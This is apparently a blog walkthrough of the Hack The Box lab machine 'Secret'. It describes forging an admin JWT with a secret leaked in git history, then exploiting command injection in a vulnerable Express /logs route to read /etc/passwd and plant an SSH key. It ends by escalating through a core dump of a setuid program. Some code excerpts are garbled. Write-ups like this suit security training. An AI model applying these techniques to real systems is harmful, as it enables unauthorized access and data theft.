This is a detailed walk-thru for secret.htb written by dR1PPy

This challenge was just what was needed on the heels of a really good JWT UDemy course.

Based on the items covered in that class this machine was very easy and straight forward.
Below is the walk-thru for getting access and escalating thru the HTB challenge known as “Secret”


As always we start with a fresh scan and enumeration of services on the target.

autorecon -o ./

22/tcp   open  ssh     syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDBjDFc+UtqNVYIrxJx+2Z9ZGi7LtoV6vkWkbALvRXmFzqStfJ3UM7TuOcZcPd82vk0gFVN2/wjA3LUlbUlr7oSlD15DdJkr/XjYrZLJnG4NCxcAnbB5CIRaWmrrdGy5pJ/KgKr4UEVGDK+oAgE7wbv++el2WeD1DF8gw+GIHhtjrK1s0nfyNGcmGOwx8crtHB4xLpopAxWDr2jzMFMdGcIzZMRVLbe+TsG/8O/GFgNXU1WqFYGe4xl+MCmomjh9mUspf1WP2SRZ7V0kndJJxtRBTw6V+NQ/7EJYJPMeugOtbputyZMH+jALhzxBs07JLbw8Bh9JX+ZJl/j6VcIDfFRXxB7ceSe/cp4UYWcLqN+AsoE7k+uMCV6vmXYPNC3g5xfMMrDfVmGmrPbop0oPZUB3kr8iz5CI/qM61WI07/MME1uyM352WZHAJmeBLPAOy05ZBY+DgpVElkr0vVa+3UyKsF1dC3Qm2jisx/qh3sGauv1R8oXGHvy0+oeMOlJN+k=
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOL9rRkuTBwrdKEa+8VrwUjloHdmUdDR87hBOczK1zpwrsV/lXE1L/bYvDMUDVD0jE/aqMhekqNfBimt8aX53O0=
|   256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINM1K8Yufj5FJnBjvDzcr+32BQ9R/2lS/Mu33ExJwsci
80/tcp   open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open  http    syn-ack Node.js (Express middleware)
|_http-title: DUMB Docs
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We launch a web content scan and find the following valid URL’s.

/download             (Status: 301) [Size: 183] [--> /download/]

/docs                 (Status: 200) [Size: 20720]               

/assets               (Status: 301) [Size: 179] [--> /assets/]  

/api                  (Status: 200) [Size: 93]                  

/Docs                 (Status: 200) [Size: 20720]               

/API                  (Status: 200) [Size: 93]                  

/DOCS                 (Status: 200) [Size: 20720]              

Lastly we review the website and see it offers documentation for an API, access to an API, and a link to download the source code.

Gaining Access

First we download the source code from:

Providing all the source code directly for the live site you are running. What could possibly go wrong?

We extract the source and review the git history and find one reference to the removal of the .env for security reasons.

git log 
commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78
Author: dasithsv <>
Date:   Fri Sep 3 11:30:17 2021 +0530

    removed .env for security reasons

Reviewing the revision changes shows a token for the DB user

git log -p -2
 DB_CONNECT = 'mongodb://'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

From the API documentation it seems you can query to verify you admin access.
Reviewing the source shows this may also be vulnerable to abuse.


router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name =;
    if (name == 'theadmin'){
                desc : "welcome back admin,"
            role: {
                role: "you are normal user",

We see if we are able to change our name to “theadmin” we will be granted an admin role.

Let’s try some methods to do this.

First we create a valid user.

Then Login to get a JWT token to manipulate.

Now with our token and our secret key found in the source code we can modify our JWT token as needed. In this case we will change our name to “theadmin” to allow us access to those Admin resources.

Using this newly created token we get admin access to the API

Another review of the API source code shows one more item missed during initial review.
We can see there is a special “/logs” url that can be accessed by the Admin.
This also appears to accept user input without any sanitation.

router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name =;
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            role: {
                role: "you are normal user",

We can confirm this with a valid URL request. To see what a valid request looks like we first run that same “git log –oneline” command against our source code files. We see a valid request could work with index.js or validations.js

─$ git log --oneline  validations.js 
55fe756 first commit

We use this file to make a valid request.

Valid Admin Request to /logs

Then another request with command injection.

Command Injection

Another request to /etc/passwd reveals the users home directory.


Using this method we wget a copy of our public SSH key and place it in .ssh under the users home directory.
We then login via SSH to get our shell.

User Shell Access

Escalating Privileges

Next we use the great tool that is HTB-Enum ( and enumerate the host.

From the results in the lse-report we can see the following item.

============================================================( file system )=====
[*] fst000 Writable files outside user's home.............................. yes!
[*] fst010 Binaries with setuid bit........................................ yes!
[!] fst020 Uncommon setuid binaries........................................ yes!

In this same /opt directory we find a file named “code.c” which seems to be the source code being used by the count program.
Reviewing the source code and also the valgrind log does not reveal any interesting info.

Despite this we spend some time trying to debug the program both remote and locally looking for some way to overflow or escalate.
After an hour of failure we finally make note of one important clue from a 2nd SSH session.

The process loads the filename given into memory and holds it there during the “Save” prompt before exiting.

lsof -p 233129
count   233129 dasith  cwd    DIR  253,0     4096 394284 /home/dasith
count   233129 dasith  rtd    DIR  253,0     4096      2 /
count   233129 dasith  txt    REG  253,0    17824 393236 /opt/count
count   233129 dasith  mem    REG  253,0  2029224  55911 /usr/lib/x86_64-linux-gnu/
count   233129 dasith  mem    REG  253,0   191472  55880 /usr/lib/x86_64-linux-gnu/
count   233129 dasith    0u   CHR  136,1      0t0      4 /dev/pts/1
count   233129 dasith    1u   CHR  136,1      0t0      4 /dev/pts/1
count   233129 dasith    2u   CHR  136,1      0t0      4 /dev/pts/1
count   233129 dasith    3r   REG  253,0       33 265779 /root/root.txt

So if we can force a segmentation fault and memory dump we may be able to scrape our info from memory.

We use our 2nd session to create a crash of the program to access its memory dump.

Capture of Core Dump

Then we extract and review the crash files for our final flag (sanitized for your protection).

dasith@secret:/opt$ apport-unpack /var/crash/_opt_count.1000.crash /tmp/count-dump.txt
dasith@secret:/opt$ cd /tmp/count-dump.txt/
dasith@secret:/tmp/count-dump.txt$ strings * | grep -A1 root
Total characters = 33

And now we know the secret formula……


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

%d bloggers like this: